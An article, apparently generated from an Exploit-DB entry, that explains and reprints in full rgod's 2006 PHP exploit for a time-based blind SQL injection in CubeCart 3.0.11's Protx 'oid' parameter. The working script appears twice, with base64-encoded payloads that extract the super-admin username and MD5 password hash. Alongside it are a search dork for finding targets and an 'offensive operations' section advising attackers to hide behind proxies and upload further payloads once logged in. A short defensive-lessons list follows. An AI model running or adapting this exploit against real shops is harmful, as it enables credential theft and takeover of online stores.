CubeCart 3.0.11 'oid' Blind SQL Injection Exploit Explained

CubeCart 3.0.11 'oid' Blind SQL Injection Exploit Explained
What this paper is
This paper details a blind SQL injection vulnerability in CubeCart version 3.0.11. The exploit, written by rgod, targets the oid parameter in the Protx gateway module. It leverages this vulnerability to extract administrator usernames and their MD5-hashed passwords by using time-based SQL injection techniques. The exploit is designed to bypass magic_quotes_gpc by using base64_decode.
Simple technical breakdown
The core of the vulnerability lies in how CubeCart handles the oid (order ID) parameter when processing Protx gateway confirmations. Specifically, the script at /modules/gateway/Protx/confirmed.php decodes the oid parameter using base64_decode and then uses it in a database query.
The exploit works by sending specially crafted, base64-encoded strings as the oid parameter. These strings are designed to manipulate SQL queries. The script then executes these modified queries against the database.
Since it's a blind SQL injection, the script doesn't directly return the data. Instead, it uses a time-based technique. The exploit injects SQL code that, if a certain condition is met (e.g., a specific character in the password matches), will cause the database to pause for a noticeable amount of time (using benchmark() or sleep()). By measuring the response time, the attacker can infer whether the condition was true or false, allowing them to reconstruct the data character by character.
The exploit first attempts to discover the table prefix (defaulting to CubeCart_) and then proceeds to extract the administrator's username and password, one character at a time, by repeatedly sending crafted requests and observing the server's response time.
Complete code and payload walkthrough
The provided PHP script is a command-line tool designed to exploit the CubeCart vulnerability. Let's break down its components.
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
CubeCart <= 3.0.11 "oid" blind SQL injection / admin credentials
disclosure exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Copyright Devellion Limited 2005. All rights reserved."
-> this works against MySQL >=4.1 (allowing subs)
--------------------------------------------------------------------------------
');- Shebang and Initial Output:
#!/usr/bin/php -q -d short_open_tag=on: This is the shebang line, indicating the script should be executed with the PHP interpreter.-qmakes it quiet (no output unless explicitly printed), and-d short_open_tag=onenables the use of<?short tags.print_r(...): This block prints introductory information about the exploit, including its author, target, and a search query (dork) to find vulnerable sites. It also notes that it works against MySQL versions >= 4.1.
/* short explaination:
software site: http://www.cubecart.com/site/home/
same kind of sql injection of http://retrogod.altervista.org/cubecart_3011_sql.html
but this bypass magic_quotes_gpc=On because of base64_decode() function used in
/modules/gateway/Protx/confirmed.php used near lines:
...
if($success == TRUE){
$cart_order_id = base64_decode($_GET['oid']);
include_once("../../../includes/orderSuccess.inc.php");
$result = "?pg=".base64_encode("Protx");
} else {
...
*/- Explanation Comment: This multi-line comment provides context about the vulnerability. It links to the CubeCart website and another exploit by the same author, highlighting that this exploit bypasses
magic_quotes_gpcdue to the use ofbase64_decodeon theoidparameter in/modules/gateway/Protx/confirmed.php.
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to CubeCart
Options:
-T[prefix]: specify a table prefix different from default (CubeCart_)
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
-a adjust the first argument to pass to benchamrk() function
-s: use sleep() (this function was added in MySQL 5.0.12.) instead of
benchmark()
-d disclose table prefix (reccomended)
Example:
php '.$argv[0].' localhost /cubecart/
php '.$argv[0].' localhost /cubecart/ -a200000 -Tcube_
--------------------------------------------------------------------------------
');
die;
}- Argument Handling:
if ($argc<3): Checks if the number of command-line arguments is less than 3 (script name, host, path). If so, it prints usage instructions and exits.$argv[0]: The name of the script itself.- Options Explained:
-T[prefix]: Sets a custom table prefix.-p[port]: Sets a custom port.-P[ip:port]: Uses a proxy server.-a[value]: Sets the delay value for thebenchmark()function.-s: Usessleep()instead ofbenchmark()for delays (requires MySQL 5.0.12+).-d: Enables table prefix disclosure.
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);- Error and Timeout Settings:
error_reporting(0): Suppresses all PHP errors.ini_set("max_execution_time",0): Sets the maximum execution time to unlimited.ini_set("default_socket_timeout",5): Sets the default socket timeout to 5 seconds. This is crucial for network operations.
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}quick_dumpFunction:- Purpose: This function takes a string and formats it into a hex dump and ASCII representation. It's primarily for debugging and visualizing raw data.
- Behavior: It iterates through the input string, converting each character to its ASCII ordinal value. It then formats these values into hexadecimal pairs and their corresponding printable ASCII characters.
- Output: Returns a string containing the hex dump followed by the ASCII representation, with line breaks for readability.
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}sendpacketiiFunction:- Purpose: This function sends a raw HTTP packet to the target host or through a proxy and captures the response.
$proxy_regex: A regular expression to validate the proxy format (IP:Port).- Behavior:
- If
$proxyis empty, it establishes a direct socket connection to$hoston$portusingfsockopen. - If
$proxyis set, it validates the proxy format, connects to the proxy server, and then forwards the packet. - It sends the
$packetusingfputs. - It reads the response into the global
$htmlvariable. For proxy connections, it reads until it encounters a double CRLF (\r\n\r\n), indicating the end of HTTP headers.
- If
- Output: The function populates the global
$htmlvariable with the server's response.
$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="CubeCart_";
$delay_func="benchmark(2000000,sha1('suntzu'))";
$dt=0;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-a")
{
$delay_func="benchmark(".intval(str_replace("-a","",$argv[$i])).",sha1('suntzu'))";
}
if ($temp=="-s")
{
$delay_func="sleep(11)";
}
if ($temp=="-d")
{
$dt=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}- Initialization and Option Parsing:
- Sets
$hostand$pathfrom command-line arguments. - Initializes
$portto 80,$prefixto "CubeCart_", and$delay_functo a defaultbenchmark()call.$dtis a flag for disclosing the prefix. - Parses remaining command-line arguments (
$argv[3]onwards) to set$port,$proxy,$prefix, modify$delay_func(for-aand-s), and set the$dtflag. - Validates the
$pathformat. - Constructs the base URL path
$pfor requests, accounting for proxy usage.
- Sets
if ($dt)
{
$packet ="GET ".$p."modules/gateway/Protx/confirmed.php?oid=".base64_encode("'")."&crypt=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);
if (eregi("in your SQL syntax",$html))
{
$temp=explode("UPDATE ",$html);
$temp2=explode("sessions",$temp[1]);
$prefix=$temp2[0];
echo "prefix -> ".$prefix."\n";
}
}- Table Prefix Disclosure (
-doption):- If the
-dflag is set ($dtis true):- It constructs a GET request to
confirmed.phpwithoidset tobase64_encode("'"). This is a simple test to see if a single quote causes a SQL syntax error. - It sends this packet using
sendpacketii. - If the response
$htmlcontains "in your SQL syntax", it means the single quote triggered an error. The script then attempts to parse the error message to extract the table prefix. It splits the$htmlby "UPDATE " and then by "sessions" to isolate the prefix. - The discovered prefix is printed.
- It constructs a GET request to
- If the
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="999999%'/**/or/**/basket=(SELECT(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),".$delay_func.",0))/**/FROM/**/".$prefix."admin_users/**/WHERE/**/isSuper=1)/*";
echo "sql -> ".$sql."\n";
$sql=base64_encode($sql);
echo "encoded -> ".$sql."\n";
$packet ="GET ".$p."modules/gateway/Protx/confirmed.php?oid=$sql&crypt=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
usleep(2000000);
$starttime=time();
sendpacketii($packet);
$endtime=time();
echo "starttime -> ".$starttime."\n";
echo "endtime -> ".$endtime."\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\n";
if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\n";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}- Password Extraction Loop:
$chars: An array initialized with0(null byte) and then populated with ASCII values for digits0-9and lowercase lettersa-f. This array defines the character set the exploit will try to match for the password (which is MD5, so it's hexadecimal).$j: A counter for the character position in the password being guessed.$password: Stores the extracted password.- Outer
whileloop: Continues as long as the null terminator (chr(0)) is not found in the$password. This signifies the end of the password string. - Inner
forloop ($ifrom 0 to 255): Iterates through all possible ASCII characters.if (in_array($i,$chars)): Checks if the current character's ASCII value is within the allowed set for MD5 hashes (0-9, a-f).- SQL Injection Payload Construction:
$sql="999999%'/**/or/**/basket=(SELECT(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),".$delay_func.",0))/**/FROM/**/".$prefix."admin_users/**/WHERE/**/isSuper=1)/*";- This is the core SQL injection. It's designed to be appended to a query that might look something like
SELECT ... FROM ... WHERE oid = '...'. 999999%': Closes the original query's string and adds a large number to likely ensure no legitimate row matches./**/or/**/basket=(: InsertsOR basket = (to start a subquery. The/**/are comments that help bypass some SQL filters.SELECT(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),".$delay_func.",0)): This is the time-based part.SUBSTRING(password,".$j.",1): Extracts the$j-th character of thepasswordcolumn from theadmin_userstable.ASCII(...): Gets the ASCII value of that character.... = ".$i.": Compares the ASCII value to the current character being tested ($i).IF(condition, value_if_true, value_if_false): If the condition is true (the character matches), it executes$delay_func. Otherwise, it returns0.
FROM/**/".$prefix."admin_users/**/WHERE/**/isSuper=1: Specifies the table (admin_users) and condition (isSuper=1) to target the super administrator.)/*: Closes the subquery and adds a comment to terminate the injected SQL.
- This is the core SQL injection. It's designed to be appended to a query that might look something like
$sql=base64_encode($sql);: The constructed SQL string is base64 encoded because the vulnerable script usesbase64_decodeon theoidparameter.- The
$packetis constructed with the base64-encoded SQL.
- Timing and Verification:
usleep(2000000): Pauses for 2 seconds before sending the request. This is a crude rate-limiting mechanism.$starttime=time();: Records the start time.sendpacketii($packet);: Sends the crafted request.$endtime=time();: Records the end time.$difftime=$endtime - $starttime;: Calculates the response time.if ($difftime > 10): If the response time is significantly longer than usual (more than 10 seconds, implying thebenchmark()orsleep()function executed), it means the character$iis the correct character at position$j.$password.=chr($i);: Appends the found character to the$password.- Prints the partially found password.
sleep(1): Pauses for 1 second.break;: Exits the innerforloop to move to the next character position ($j++).
if ($i==255) {die("Exploit failed...");}: If the inner loop completes without finding a matching character, the exploit fails.
$j++;: Increments the character position counter.
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="999999%'/**/or/**/basket=(SELECT(IF((ASCII(SUBSTRING(username,".$j.",1))=".$i."),".$delay_func.",0))/**/FROM/**/".$prefix."admin_users/**/WHERE/**/isSuper=1)/*";
echo "sql -> ".$sql."\n";
$sql=base64_encode($sql);
echo "encoded -> ".$sql."\n";
$packet ="GET ".$p."modules/gateway/Protx/confirmed.php?oid=$sql&crypt=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
usleep(2000000);
$starttime=time();
sendpacketii($packet);
$endtime=time();
echo "starttime -> ".$starttime."\n";
echo "endtime -> ".$endtime."\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\n";
if ($difftime > 10) {$admin.=chr($i);echo "admin -> ".$admin."[???]\n";sleep(1);break;}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}- Username Extraction Loop:
- This section is almost identical to the password extraction loop, but it targets the
usernamecolumn instead ofpassword. - It iterates through character positions (
$j) and character values ($i) to reconstruct the administrator's username. - The logic for timing and character detection is the same.
- This section is almost identical to the password extraction loop, but it targets the
print_r('
--------------------------------------------------------------------------------
admin -> '.$admin.'
password (md5) -> '.$password.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>
# milw0rm.com [2006-08-17]- Final Output and Verification:
- Prints the extracted administrator username and the MD5-hashed password.
is_hashfunction: A simple helper function that usesereg(a regular expression function, now deprecated in favor ofpreg_match) to check if the extracted password string looks like a 32-character hexadecimal MD5 hash.- Prints a success or failure message based on the
is_hashcheck. - The comment
# milw0rm.com [2006-08-17]indicates the source and publication date.
Mapping of code fragments to practical purpose:
#!/usr/bin/php -q -d short_open_tag=on: Script interpreter and settings.print_r(' intro text ');: Exploit introduction and target information.if ($argc<3) { ... }: Command-line argument validation and usage display.ini_set(...): Script execution environment configuration (error suppression, unlimited time, socket timeout).function quick_dump($string): Debugging utility for data visualization.$proxy_regex: Regex for proxy validation.function sendpacketii($packet): Core network communication function (sending requests, receiving responses).- Argument parsing loop (
for ($i=3; $i<$argc; $i++)): Configuration of exploit parameters (host, path, port, proxy, prefix, delay function). if ($dt) { ... }: Logic for discovering the database table prefix.$chars = array_merge(...): Defines the character set for brute-forcing (hexadecimal for MD5).while (!strstr($password,chr(0))) { ... }: Outer loop for iterating through password character positions.for ($i=0; $i<=255; $i++) { ... }: Inner loop for iterating through possible character values.if (in_array($i,$chars)) { ... }: Filters character values to only test valid MD5 characters.$sql="999999%'/**/or/**/basket=(SELECT(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),".$delay_func.",0))/**/FROM/**/".$prefix."admin_users/**/WHERE/**/isSuper=1)/*";: The time-based blind SQL injection payload for password character guessing.$sql=base64_encode($sql);: Encodes the payload for the vulnerable parameter.$packet = "GET ...";: Constructs the HTTP request.usleep(2000000);: Introduces a delay between requests.$starttime=time(); sendpacketii($packet); $endtime=time(); $difftime=$endtime - $starttime;: Measures the server response time.if ($difftime > 10) { $password.=chr($i); ... }: Logic to detect a successful character match based on response time.- Username extraction loop (identical structure to password loop, but targeting
usernamecolumn): Reconstructs the administrator's username. print_r(' admin -> ... password -> ... ');: Displays the final extracted credentials.function is_hash($hash): Helper to validate if the extracted password looks like an MD5 hash.if (is_hash($password)) { ... }: Final success/failure indicator.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server is required. No prior authentication is needed as this exploits a vulnerability in an unauthenticated module.
- Lab Preconditions:
- A lab environment with CubeCart 3.0.11 installed.
- A MySQL database configured for it.
- Ensure
magic_quotes_gpcis ON to test the bypass. - The Protx gateway module must be enabled or accessible.
- A user account with
isSuper=1in theadmin_userstable is necessary for the exploit to target.
- Tooling Assumptions:
- PHP interpreter installed on the attacker's machine.
- Basic understanding of HTTP, SQL, and command-line arguments.
- The exploit script itself.
- Execution Pitfalls:
- Network Latency/Instability: High latency or unstable connections can lead to false positives/negatives in time-based detection, causing the exploit to fail or extract incorrect data. The
usleepandsleepvalues might need tuning. - Web Application Firewalls (WAFs): WAFs might detect the SQL injection patterns or the
base64_decodeusage. The/**/comments are an attempt to evade simple pattern matching, but sophisticated WAFs could still block it. - Database Performance: A very fast database or a heavily loaded server might make it difficult to reliably distinguish between a delayed response and a normal response. The
benchmark()orsleep()duration and thedifftime > 10threshold might need adjustment. - Incorrect Path/Host: Typos in the host or path will lead to connection failures.
- Incorrect Table Prefix: If the
-doption fails and the defaultCubeCart_is wrong, the exploit will fail. Manual discovery of the prefix might be necessary. - MySQL Version: The exploit explicitly states it works with MySQL >= 4.1. Older versions might not support the subquery syntax or
benchmark()/sleep()in the same way. magic_quotes_gpc: While the exploit claims to bypass it, if it's OFF, thebase64_decodemight not be strictly necessary for the bypass, but the exploit still uses it.crypt=1parameter: The exploit assumes this parameter is present and handled by the script, which is part of the Protx gateway integration. If this parameter is handled differently, the exploit might fail.
- Network Latency/Instability: High latency or unstable connections can lead to false positives/negatives in time-based detection, causing the exploit to fail or extract incorrect data. The
- Tradecraft Considerations:
- Stealth: The time-based nature of the exploit is inherently noisy and slow. Each character extraction requires multiple requests and a significant delay. This will generate noticeable telemetry on the target network and server.
- Reconnaissance: Before running the exploit, perform thorough reconnaissance to confirm the CubeCart version and identify the correct path. The provided dork can be useful here.
- Proxy Usage: Using a proxy (
-Poption) is standard practice for obscuring the origin of the attack. - Rate Limiting: The
usleepfunction is a basic form of rate limiting. More sophisticated techniques might be needed if the target has aggressive intrusion detection. - Payload Delivery: This exploit focuses on credential extraction. Once credentials are obtained, they can be used to access the admin panel and upload further malicious payloads.
Where this was used and when
This exploit was published in 2006. At that time, CubeCart was a popular e-commerce platform. Vulnerabilities like this were common in web applications of that era, often due to insufficient input validation and insecure database query construction. It's likely this exploit was used in the wild by attackers targeting online stores running vulnerable versions of CubeCart to gain unauthorized access to customer data and administrative functions. The specific year of publication (2006) indicates its relevance during that period.
Defensive lessons for modern teams
- Input Validation: Always validate and sanitize all user-supplied input, especially data that is used in database queries. This includes decoding, unescaping, and checking data types and formats.
- Parameterized Queries/Prepared Statements: Use parameterized queries or prepared statements for all database interactions. This is the most effective way to prevent SQL injection by separating SQL code from data.
- Least Privilege: Ensure database accounts used by web applications have only the necessary privileges. Avoid granting broad permissions like
SELECT *orUPDATEon sensitive tables to accounts that don't require them. - Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including SQL injection attempts and suspicious encoding/decoding sequences.
- Regular Patching and Updates: Keep all web applications, frameworks, and server software up-to-date with the latest security patches. CubeCart 3.0.11 is ancient and has long been unsupported.
- Secure Coding Practices: Train developers on secure coding principles to avoid common vulnerabilities like SQL injection, cross-site scripting (XSS), and insecure direct object references.
- Error Handling: Configure applications to log detailed errors internally but display generic error messages to users. Avoid revealing detailed database error messages that can aid attackers.
- Monitoring and Alerting: Implement robust logging and monitoring for web server and database activity. Set up alerts for suspicious patterns, such as unusually long response times or repeated syntax errors.
- Understand Application Logic: Defenders need to understand how their applications process data, especially when it involves decoding or complex transformations, as these can sometimes introduce or mask vulnerabilities.
ASCII visual (if applicable)
This exploit relies on a sequence of network requests and timing, which can be visualized as a flow.
+-----------------+ +---------------------+ +---------------------+
| Attacker Machine| --> | Target Web Server | --> | Target Database |
| (PHP Exploit) | | (CubeCart 3.0.11) | | (MySQL) |
+-----------------+ +---------------------+ +---------------------+
| |
| 1. Send crafted | 2. Process request,
| base64-encoded | decode 'oid',
| 'oid' parameter. | construct SQL.
| |
| | 3. Execute injected SQL.
| | (If condition TRUE,
| | execute benchmark/sleep).
| |
| 4. Measure response | 5. Return response
| time. | (delayed or not).
| |
| 6. Infer character |
| based on time. |
| (Repeat for each |
| char/position). |
+-----------------------+This diagram illustrates the core loop: the attacker sends a request, the server processes it and queries the database, the database's execution time provides feedback, and the attacker uses this feedback to reconstruct data.
Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/2198
- Original Source Code: Provided in the prompt.
- CubeCart Website (historical): http://www.cubecart.com/site/home/ (Note: This is a historical link; the current site may differ).
Original Exploit-DB Content (Verbatim)
#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
CubeCart <= 3.0.11 "oid" blind SQL injection / admin credentials
disclosure exploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Copyright Devellion Limited 2005. All rights reserved."
-> this works against MySQL >=4.1 (allowing subs)
--------------------------------------------------------------------------------
');
/* short explaination:
software site: http://www.cubecart.com/site/home/
same kind of sql injection of http://retrogod.altervista.org/cubecart_3011_sql.html
but this bypass magic_quotes_gpc=On because of base64_decode() function used in
/modules/gateway/Protx/confirmed.php used near lines:
...
if($success == TRUE){
$cart_order_id = base64_decode($_GET['oid']);
include_once("../../../includes/orderSuccess.inc.php");
$result = "?pg=".base64_encode("Protx");
} else {
...
*/
if ($argc<3) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path OPTIONS
host: target server (ip/hostname)
path: path to CubeCart
Options:
-T[prefix]: specify a table prefix different from default (CubeCart_)
-p[port]: specify a port other than 80
-P[ip:port]: specify a proxy
-a adjust the first argument to pass to benchamrk() function
-s: use sleep() (this function was added in MySQL 5.0.12.) instead of
benchmark()
-d disclose table prefix (reccomended)
Example:
php '.$argv[0].' localhost /cubecart/
php '.$argv[0].' localhost /cubecart/ -a200000 -Tcube_
--------------------------------------------------------------------------------
');
die;
}
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$port=80;
$prefix="CubeCart_";
$delay_func="benchmark(2000000,sha1('suntzu'))";
$dt=0;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
$prefix=str_replace("-T","",$argv[$i]);
}
if ($temp=="-a")
{
$delay_func="benchmark(".intval(str_replace("-a","",$argv[$i])).",sha1('suntzu'))";
}
if ($temp=="-s")
{
$delay_func="sleep(11)";
}
if ($temp=="-d")
{
$dt=1;
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if ($dt)
{
$packet ="GET ".$p."modules/gateway/Protx/confirmed.php?oid=".base64_encode("'")."&crypt=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
sendpacketii($packet);
if (eregi("in your SQL syntax",$html))
{
$temp=explode("UPDATE ",$html);
$temp2=explode("sessions",$temp[1]);
$prefix=$temp2[0];
echo "prefix -> ".$prefix."\n";
}
}
$chars[0]=0;//null
$chars=array_merge($chars,range(48,57)); //numbers
$chars=array_merge($chars,range(97,102));//a-f letters
$j=1;$password="";
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$chars))
{
$sql="999999%'/**/or/**/basket=(SELECT(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),".$delay_func.",0))/**/FROM/**/".$prefix."admin_users/**/WHERE/**/isSuper=1)/*";
echo "sql -> ".$sql."\n";
$sql=base64_encode($sql);
echo "encoded -> ".$sql."\n";
$packet ="GET ".$p."modules/gateway/Protx/confirmed.php?oid=$sql&crypt=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
usleep(2000000);
$starttime=time();
sendpacketii($packet);
$endtime=time();
echo "starttime -> ".$starttime."\n";
echo "endtime -> ".$endtime."\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\n";
if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\n";sleep(1);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
$j=1;$admin="";
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql="999999%'/**/or/**/basket=(SELECT(IF((ASCII(SUBSTRING(username,".$j.",1))=".$i."),".$delay_func.",0))/**/FROM/**/".$prefix."admin_users/**/WHERE/**/isSuper=1)/*";
echo "sql -> ".$sql."\n";
$sql=base64_encode($sql);
echo "encoded -> ".$sql."\n";
$packet ="GET ".$p."modules/gateway/Protx/confirmed.php?oid=$sql&crypt=1 HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
usleep(2000000);
$starttime=time();
sendpacketii($packet);
$endtime=time();
echo "starttime -> ".$starttime."\n";
echo "endtime -> ".$endtime."\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\n";
if ($difftime > 10) {$admin.=chr($i);echo "admin -> ".$admin."[???]\n";sleep(1);break;}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
print_r('
--------------------------------------------------------------------------------
admin -> '.$admin.'
password (md5) -> '.$password.'
--------------------------------------------------------------------------------
');
function is_hash($hash)
{
if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
else {return false;}
}
if (is_hash($password)) {echo "Exploit succeeded...";}
else {echo "Exploit failed...";}
?>
# milw0rm.com [2006-08-17]